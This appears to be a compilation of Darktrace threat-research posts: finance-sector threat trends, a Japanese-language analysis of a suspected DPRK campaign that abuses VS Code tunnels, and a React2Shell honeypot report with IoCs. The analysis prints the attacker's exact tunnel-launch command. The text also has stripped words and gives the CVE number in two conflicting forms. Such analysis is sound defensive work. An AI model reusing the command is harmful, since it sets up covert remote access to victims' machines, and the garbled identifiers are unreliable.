The State of Cybersecurity in the Finance Sector: Six Trends to Watch

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state- threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector , draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.

Ransomware is no longer just locking systems, it’s stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

State- activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

The financial sector remains a prime target for both financially motivated and state- adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

Access the full Darktrace threat research report to see how financial institutions are being targeted in real-world environments

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮（DPRK）が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded（JSE）スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code（VS Code）トンネルを展開し、リモートアクセスを確立していました。

このキャンペーンで確認されたサンプルは、Hangul Word Processor （HWPX） 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe（正規のVS Code実行形式）およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT（AdvancedPersistent Threat）グループにより使用されています。

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとして に送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP（戦術、技法、手順）との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成：タラ・グールド（TaraGould）（マルウェア調査主任） 編集：ライアン・トレイル（Ryan Traill）（アナリストコンテンツ主任）

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1218- 署名付きバイナリプロキシ実行

[1]

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed .js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise. ‍

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and .js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a .js application, abusing the React/ .js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the .js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised .js application process, reinforcing the hypothesis of exploit-driven access.

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Following successful command execution within the compromised .js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to / /wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/ /wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark